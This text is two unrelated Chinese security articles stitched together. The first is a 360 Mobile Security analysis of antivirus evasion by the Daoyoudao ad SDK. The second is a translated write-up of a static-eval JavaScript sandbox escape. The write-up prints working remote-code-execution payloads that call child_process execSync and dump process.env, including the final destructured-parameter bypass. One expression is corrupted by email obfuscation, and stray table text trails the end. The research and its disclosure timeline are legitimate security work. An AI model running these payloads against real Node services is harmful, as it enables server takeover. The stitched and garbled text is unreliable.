本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：360移动安全团队**
**一、背景**
今年央视3.15晚会曝光了道有道科技公司通过推送恶意程序，使手机用户被莫名扣费的问题，引起了广大手机用户的高度关注。
360移动安全团队对道有道广告SDK进行了分析与研究。截至2016年3月底，嵌入道有道广告SDK的应用软件累计达到80万个，从月增样本数量统计可以看出，在去年年中的一个月内就收录了近10万个。
[](http://blogs.360.cn/360mobile/files/2016/03/image1.png)
**
**
**二、广告形式**
在道有道的官网上，介绍了其广告SDK的展现形式包括插屏广告、Banner广告和应用推荐广告。
[](http://blogs.360.cn/360mobile/files/2016/03/image21.png)
其官网展示的插屏广告是在软件内的插屏，实际上在其广告SDK开发文档中，还支持在自身软件外弹插屏广告，这也正是3.15曝光的展现形式。
[](http://blogs.360.cn/360mobile/files/2016/03/image3.png)
这种外插屏的展现形式，侵犯了用户的知情权，用户不知道是哪个应用弹的广告，并且点击屏幕任何地方都会直接下载推广的应用，除非准确点击ⓧ才能关闭广告。这种匿名且在自身应用外推送的广告展现形式，不但容易造成用户手机流量损失，还影响用户手机正常使用，被我们定义为恶意广告。
**
**
**三、推广**
360移动安全团队发现，借助道有道广告SDK推广的软件，除了正常软件外，还存在大量的恶意软件，比如3.15曝光的色情视频类恶意软件。我们之前发布的“舞毒蛾”[[1](http://blogs.360.cn/360mobile/2016/03/08/analysis_of_wudue/)]和“百脑虫”[[2](http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/)]木马分析报告，都是借助色情视频类恶意软件传播、感染用户手机，并且难以清除干净。
[](http://blogs.360.cn/360mobile/files/2016/03/image41.png)
移动广告平台对推广的应用审核不严，助涨了恶意软件传播，成为了其帮凶，最终造成用户经济损失、隐私泄露。
**
**
**四、对抗演变**
360移动安全团队分析发现，道有道广告SDK利用静态和动态相结合的手段，与杀软特征进行持续性的对抗，从而躲避杀软的查杀。
**1\. 静态对抗**
**1.1 组件名称随机化**
从静态角度，通过对比嵌入其SDK的两个相似样本的AndroidManifest.xml文件内容，可以发现其声明的activity、service名称都是随机生成的，没有任何含义，这与一般正常软件的声明方式有明显的不同。
[](http://blogs.360.cn/360mobile/files/2016/03/image5.png)
**1.2 方法及字符串变形**
SDK中的方法及字符串也在不断的进行变化，来躲避杀软静态特征识别。下面以onKeyDown方法为例，来展示其不同版本的变化情况。
最初的版本，方法和字符串均未加密。
[](http://blogs.360.cn/360mobile/files/2016/03/image61.png)
升级的版本，方法中的字符串进行简单的Base64加密。
[](http://blogs.360.cn/360mobile/files/2016/03/image71.png)
再后续的版本中，隐藏方式又有所加深，将方法名称及字符串都保存在配置文件里。
[](http://blogs.360.cn/360mobile/files/2016/03/image8.png)
**1.3 核心代码的隐藏**
道有道广告SDK的核心功能都是依靠动态加载的dex文件来实现，这也是躲避杀软静态特征扫描的一种手段。其主要采用本地文件释放和代码运行释放两种手段隐藏其核心代码。
解析assets目录下的资源文件，得到加载的dex文件。
[](http://blogs.360.cn/360mobile/files/2016/03/image91.png)
将dex文件的二进制编码到代码中，在代码运行过程中解码释放。
[](http://blogs.360.cn/360mobile/files/2016/03/image101.png)
**2\. 动态对抗**
**2.1 URL变化**
从动态角度，我们以时间轴和不同颜色的方式来展示其广告联网的URL变化情况。
[](http://blogs.360.cn/360mobile/files/2016/03/image111.png)
* 红色部分：URL前面几乎都是以“api”开头，不同时间段后面分别是 “is”、“cp”、“info”；
* 绿色部分：URL最后面都是以“jsp”结尾，并且从“init”、“in”和“i1n2i3t4”能够看出有明显的对抗变化；
* 蓝色部分：URL中间部分从“is”变为“nis”，从“_b”变为“_tgb”；
* 黄色部分：URL开头部分从“api”变为“ai”；
* 紫色部分：URL结尾从“wa.*/bb”变为“ai.wa.*/ia”；
以上这些URL的变化，都是在对抗沙箱等动态检测技术。
**
**
**五、讨论**
移动广告市场的快速增长导致国内涌现出上百家移动广告平台，他们主要依靠在移动应用中集成广告SDK，收取广告主的展示费来盈利。3.15曝光的移动广告平台问题，仅仅是冰上一角，这些广告平台大小不一，良莠不齐，他们提供的广告SDK没有统一的行业标准，给移动安全带来了一定的风险和隐患。
360移动安全团队发现，开发者嵌入广告SDK需要的开发门槛极低，甚至有些广告厂商为了方便开发者嵌入自家平台的广告，提供了广告打包器，只要将开发的应用通过打包器，就可以制作出嵌有该平台广告的应用。
[](http://blogs.360.cn/360mobile/files/2016/03/image121.png)
极低的二次打包成本在一定程度上助涨了盗版软件的滋生。在360发布的《2015年Android手机应用盗版情况调研报告》[[3](http://zt.360.cn/1101061855.php?dtid=1101061451&did=1101657409)]中指出，平均每款正版APP对应92.7个盗版。
广告厂商借助移动应用平台进行广告投放，有责任对自身推广的软件安全性进行严格审查，避免广告推广给手机用户带来的不必要话费、流量损失。
我们建议用户在选择应用下载途径时，应该尽量选择大型可信站点，如360手机助手、各软件官网等。同时，安装360手机卫士定期查杀。
[](http://blogs.360.cn/360mobile/files/2016/03/image131.png)
**参考文献：**
**[1]“舞毒蛾”木马演变报告：**
[http://blogs.360.cn/360mobile/2016/03/08/analysis_of_wudue/](http://blogs.360.cn/360mobile/2016/03/08/analysis_of_wudue/)
**[2]“百脑虫”手机病毒分析报告：**
[http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/](http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/)
**[3]2015年Android手机应用盗版情况调研报告：**
[http://zt.360.cn/1101061855.php?dtid=1101061451&did=1101657409](http://zt.360.cn/1101061855.php?dtid=1101061451&did=1101657409) | 社区文章 |
# 一个JS沙箱逃逸漏洞
翻译文章：<https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/>
在做一个Bug bounty的项目时，我发现了一个网站，它有一个很有意思的功能：它能让我使用一些用户控制的表达式过滤数据。比如说，我可以输入
book.proce > 100 表达式，使它只展示一些价格高于 $100 的书。直接输入 true 可以列出所有的书，输入 false
就会一本书都不显示。所以我可以知道我使用的表达式是对是错。
这个功能引起了我的注意，因此我尝试着输入更复杂的表达式，比如 _(1+1).toString()==="2"_ (值为 true)和
_(1+1).toString()===5_ (值为 false)。这显然是 JavaScript 代码，因此我猜测这个表达式在 NodeJS server
中被作为参数传给了一个类似 eval
的函数。到了这里，我感觉我快要发现一个远程执行漏洞了。然而，当我想要测试一个更加复杂的表达式时，它报错了，提示我输入的表达式非法。我猜测这应该不是 eval
函数，而应该是一个 JavaScript 的沙箱。
沙箱都是再一个受控的环境中执行非可信的代码，而这一般都是很难确保不出问题的。大多数情况下，我们都能找到一些方法来绕过沙箱的保护机制。特别是对于像
JavaScript 这样复杂，特性臃肿的语言，沙箱的漏洞可能会更多。这个问题吸引了我的注意，所以我决定花一些时间来打破这个沙箱的防护机制。我学习了
JavaScript 的一些内部机制，用来发现和利用沙箱的 RCE 漏洞。
我首先要确定这个网站使用了什么库来实现的沙箱，因为 NodeJS
中有几十个类似的库，在许多情况下，它们都存在一些漏洞。当然，也有可能这是一个开发人员自己写的库，但是我忽略了这种可能，因为单纯的网站开发人员不太可能花大把的时间来做这种语言底层的事情。
最后，通过分析网站的错误日志，我推断处它们应该使用的是 [static-eval](https://github.com/substack/static-eval) ，这是一个不太流行的库（由 [substack](https://twitter.com/substack)写的，这个人再 NodeJS
社区中非常有名）。尽管它的文档中写了，它并不是被设计来作为沙箱的，但是我仍然十分确定他在这个网站中被用作了沙箱。
## 绕过 static-eval
static-eval的基本思想是使用 [esprima](https://github.com/jquery/esprima/) 库解析 JS
表达式并将其转换为
[AST(抽象语法树)](https://en.wikipedia.org/wiki/Abstract_syntax_tree)。static-eval
通过分析这个AST
对我输入的表达式进行评估。如果发现一些奇怪的东西，函数就抛出异常，我的代码就不会执行。一开始，我有点灰心丧气，因为我意识到沙箱对它所接受的表达式有很大的限制。我甚至不能在表达式中使用
for 或 while 语句，所以做一些需要迭代算法的事情是几乎不可能的。无论如何，我坚持着继续寻找漏洞。
一开始，我并没有发现任何 bug，所以我查看了 [static-eval](https://github.com/substack/static-eval)
项目的 commits 和 pull requests 的所有记录。 我发现 [pull requests
#18](https://github.com/substack/static-eval/pull/18) 修复了两个沙箱逃逸的
bug，而这正是我所寻找的。 我还发现了这个 pr
作者的[博客](https://maustin.net/articles/2017-10/static_eval)，在这篇文章里，他深入分析了这个漏洞。同时，我在立即在这个网站中测试这个漏洞，然而，他们使用了一个新版本的
static-eval，这个版本的 static-eval
早就把这个漏洞补上了。我立即尝试在我测试的网站中使用这种技术，但不幸的是，他们使用的是更新的静态评估版本，已经修补了这个漏洞。但是，知道有人发现过这种漏洞，这让我更加自信，所以我一直在寻找绕过它的新方法。
接下来，我深入分析了这两个漏洞，以期望能够为我找到新的漏洞寻找灵感。
## 第一个漏洞：
第一个漏洞使用了 [function
constructor](https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function)
来生成恶意函数。
这种技术经常用于绕过沙箱。例如，大多数通过绕过 angular.js 沙箱来获得 XSS 的方法都使用一些有效载荷，它们最终都会访问和调用 function
constructor。下面的表达式用来演示漏洞，能够打印系统环境变量(这应该是不被允许的，因为沙箱应该阻止它):
"".sub.constructor("console.log(process.env)")()
在这段代码中， _"".sub_ 能够生成一个函数对象， 然后它会执行这个函数的构造函数 constructor，constructor
函数在被调用后会返回一个新函数，该函数的代码是 constructor 的参数。它类似于 eval
函数，但它不是立即执行代码，而是返回一个函数，在调用时执行代码。在这段代码的末尾正好有一个 _()_ ，这是为了调用这个新生成函数。
除了显示系统的环境变量，你还可以做一些其他的事情。比如说，你可以使用 _child_process_ 模块的 _execSync_
函数来执行操作系统的命令，并且返回其结果。这段载荷将会返回执行 _id_ 命令后的结果。
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
这段代码使用了跟前面一段代码相同的方法。在这段代码中， _global.process.mainModule.constructor._load_ 的功能与
require 函数相同。正是由于在 constructor 中我不能直接使用 require，因此我不得不使用
_global.process.mainModule.constructor._load_ 这个名字。
此漏洞的是修补方案是禁止对函数对象的属性的访问(通过 typeof obj == 'function' 来实现的)：
else if (node.type === 'MemberExpression') {
var obj = walk(node.object);
// do not allow access to methods on Function
if((obj === FAIL) || (typeof obj == 'function')){
return FAIL;
}
这是一个非常简单的修复，但它的效果出奇的好。当然，function constructor 只在函数中可用。所以我无法访问它。对象的 typeof
是不能被修改的，因此任何函数的 typeof 都将被设置为 function。我没有找到绕过这个保护的方法，所以我又继续去分析了第二个漏洞。
## 第二个漏洞：
这个漏洞比第一个更简单、更容易检测:沙箱允许创建匿名函数，但它没有检查它们的主体以禁止恶意代码。相反，函数的主体被直接传递给 function
constructor。以下代码与博客文章的上一个漏洞的第一个负载具有相同的效果:
(function(){console.log(process.env)})()
您还可以更改匿名函数的主体，使其使用 execSync 显示执行系统命令的输出。我把这个留给读者做练习。
译者注：
(function(){console.log(global.process.mainModule.constructor._load("child_process").execSync("id").toString())})()
第一个修复这个漏洞的方法是在 static-eval
表达式中禁用所有的匿名函数表达式。然而，这可能会禁用一些匿名函数的合法使用。因此，应该考虑一种允许合法匿名函数，禁止恶意匿名函数的方法。这需要通过分析函数体来确保其不会执行任意的恶意行为，比如说访问
function constructor。这个漏洞的修复会比第一个更加复杂，此外， Matt Austin
(这个漏洞修复的作者)说它不确定当前开发的修复方案是完美的，所以我觉得可以考虑找到绕过这个漏洞修复的方法。
## 找到一个新漏洞
有一件事引起了我的注意，那就是 static-eval
只是在定义的时候判断一个函数是否是恶意的，而不是在调用它的时候。因此它不会分析函数的参数值，因为函数的参数值只能在函数调用时进行分析。
我的想法还是试图访问 function constructor,
在某种程度上，这需要绕过第一个漏洞的修复，因为我现在还不能直接访问一个函数对象的属性。但是，如果我尝试去访问一个参数的 constructor
属性呢？因为它的值在定义的时候时不确定是什么类型，因此可能会绕过系统的检测。为了验证我的猜想，我使用了以下表达式：
(function(something){return something.constructor})("".sub)
如果这返回一个函数的 constructor，那么我就成功的绕过了这个检测。遗憾的是，这并没有成功。static-eval
会禁止一个函数访问未知类型对象的属性。
static-eval的一个特性是，它允许指定您希望在static-eval表达式中可用的一些变量。例如，在博文的开头，我使用了表达式
_book.price > 100_。在这种情况下，调用静态 eval 的代码将传递 book 变量的值给它，这样就可以在表达式中使用它。
这给了我另一个想法:如果我创建一个匿名函数，其参数的名称与已经定义的变量相同，会发生什么?
因为它不能在定义时知道在运行时参数的值，所以它可能使用变量的初值。那对我很有用。假设我有一个变量book，它的初值是一个对象。那么，下面的表达式可能会达到我的目的。
(function(book){return book.constructor})("".sub)
当函数被定义时，static-eval会检查 book.constructor 是否是一个合法的表达式。由于 book
最初是一个对象(其类型为object)而不是一个函数，因此允许访问其构造函数，并创建该函数。然而，当我调用这个函数时，book会将传递给函数的值作为参数(这是
_"".sub_ 的另外一个作用)。然后，就成成功的返回 function.constructor 了。
遗憾的是，这也没有起作用，因为作者在修复漏洞的时候已经考虑了这种情况。在分析函数体时，将所有参数的值设置为null，覆盖变量的初值。这段代码是这样做的:
node.params.forEach(function(key) {
if(key.type == 'Identifier'){
vars[key.name] = null;
}
});
这段代码在定义函数的 AST 节点上，获取每个 Identifier 类型的参数的名字，并将所有该名称的变量的属性设置为
null。虽然这段代码看起来挺正常，但是它确有一个巨大的漏洞：他没有覆盖所有的分支。试想，如果一个参数的类型不是 Identifier
怎么办？它肯定不能特别智能的说“我不知道这是什么，所以我要禁用他”。相反，它一定会忽略这个参数并且继续检查下面的。这意味着，如果我能让一个函数的参数不再是
Identifier，那么与这个变量名字相同的变量值就不会被覆盖，所以它就可以使用初始值了。这下，我已经很确信我应该找到了一些不得了的东西。剩下的，我只需要找到怎么把
key.type 设置成不同于 Identifier 的类型。
前面说过， static-eval 使用 esprima 库来解析我们输入的代码。根据 esprima 的文档， esprima
根据自己的[标准](https://www.ecma-international.org/ecma-262/7.0/)来解析代码。事实上，ECMAScript 更像是 JavaScript
的一种方言，它的一些特性会使用户更容易接受。
ECMAScript 中加入的一个特性是 函数参数的析构。根据这个特性，下面的代码是允许的：
function fullName({firstName, lastName}){
return firstName + " " + lastName;
}
console.log(fullName({firstName: "John", lastName: "McCarthy"}))
在上面的表达式中，函数接受的并不是两个参数 (firstName, lastName)。相反，它只接受了一个参数，这个参数具有 firstName 和
lastName 两个属性。上一段代码也同样可以携程下一段代码。
function fullName(person){
return person.firstName + " " + person.lastName;
}
console.log(fullName({firstName: "John", lastName: "McCarthy"}))
如果我们观察一下 esprima 生成的 AST，我们就会又意想不到的结果。
实际上，这种新语法使函数参数具有与 Identifier 不同的类型 ObjectPattern，因此 static-eval
不会重写这个变量。因此，当我们在执行下面代码时， static-eval 将继续使用 book 的初始值。
(function({book}){return book.constructor})({book:"".sub})
然后我们就能创建一个函数了。当它被调用时， book 将会是一个函数对象， 因此就能返回一个 function constructor
了，我找到了绕过的方法！前面的表达式返回函数构造函数，所以我只需要调用它来创建一个恶意的函数，然后调用这个创建的函数:
(function({book}){return
book.constructor})({book:"".sub})("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
在本地的的测试环境中，运行了最新版本的 static-eval，这段代码被成功的执行了。现在，我找到了一个 static-eval 绕过方法，能够在
static-eval 环境中执行恶意代码。使其工作的惟一必要条件是具有一个相同名称的已经赋值的变量，该变量具有 constructor
属性。字符串、数字、数组和对象都满足此属性，因此应该很容易实现此条件。
## 我的方法竟然在目标网站上不能执行
不幸的是,在完成所有这些工作并找到一个绕过的漏洞之后，我意识到它在我所测试的站点上无法工作。我的方法的惟一必要条件是具有一个相同名称的已经赋值的变量。我的确满足了这个条件，但是它却还是不能在目标网站上运行。
通过一番研究后， 我发现站点并没有直接使用 static-eval。它是通过 jsonpath 库来调用的 static-eval，JsonPath 与
XPath 的功能类似，之不妥它是用来处理 Json 文件的。在阅读 JsonPath
的文档后，我感觉这是一个比较烂的项目，对于它们应该要做的事情，它们自己都想不清楚。它实现的大多数特性可能是拍脑袋想到的，没有适当地考虑这些特性是否值得添加。遗憾的是，
NodeJS 的生态里面到处都是这样的库。
**_译者注：这里是作者在发牢骚，大家不必当真_**
JsonPath 有一个特性叫做 表达式过滤器，它能根据指定的表达式来过滤一段文档。比如 _$.store.book[?(@.price <
10)].title_ 将会返回比 $10 便宜的书，然后再得到它们的标题。对于jsonpath npm库，圆括号之间的表达式就是使用 static-eval 运行的。我测试的站点允许我指定一个JSONPath表达式，并使用 static-eval 来解析，所以这里的 RCE 理论上应该是可行的。
如果我们再仔细看看之前传给 Jsonpath 的表达式，我们可以发现传给 static-eval 的表达式其实是 [email protected] < 10_。
根据说明文档，@ 是一个包含被过滤文档的变量(通常是一个对象)。然而，根据 ECMAScript 的规范，这并不是一个合法的变量名。 因此，为了使
static-eval 能够正常运行，他们不得不[修改 esprima
的代码](https://github.com/dchester/jsonpath/blob/87f97be392870c469308dd4dc90d2067863ea02a/lib/aesprim.js#L8)，使其判定
@ 为一个合法的变量名。
当你在 static-eval 中创建匿名函数时，它会被嵌入到另一个函数中，该函数接受已经定义的变量作为参数。因此，如果我在 JsonPath
的表达式过滤器中创建一个匿名函数，它将创建一个包装它的函数，该函数接受一个名为 @ 的参数。这是通过直接调用 function constructor
来完成的，而不是通过前面的 esprima 补丁。然后，在定义函数时，它会抛出一个我绕过的错误。这其实 **是库本身的一个bug**
，这使得它在表达式过滤器中定义函数(无论是良性的还是恶意的)时失败。正因为如此，我的旁路技术无法在这个库中工作。
## 总结
即使这次我没有拿到这个网站的漏洞奖励，我仍然深入的研究了 static-eval 这个库。最近，我利用这次学到的知识，成功的绕过了另一个 JS
环境，并且这一次得到了一定的经济上的回报，我将会在我接下来的一篇博客中介绍这一次的绕过技巧。在这里，我再次想要感谢一下 Matt Austin 关于
static-eval
的工作，没有他的[研究](https://maustin.net/articles/2017-10/static_eval)，我是不可能发现这个新漏洞的。
## 时间线
* 01/02/19 向NodeJS安全团队和static-eval mantainer提交的[漏洞报告](https://licenciaparahackear.github.io/posts/static-eval-sandbox-escape-original-writeup/)。
* 01/03/19 NodeJS安全团队回复了这个漏洞。他们告诉我，如果库的作者不回复这个漏洞，他们会联系他，并发布一份报告。
* 02/14/19 漏洞正式发布在官方网站上。
* 02/15/19 static-eval 库发布了一个新版本，修复了这个漏洞。
* 02/18/19 static-eval 库更新了它的 README 文件，添加了一个免责声明，不建议用户用来作为沙箱。
* 02/26/19 static-eval 发布了一个新的修补方案，因为我之前的修补方案有一个 bug。 | 社区文章 |
Subsets and Splits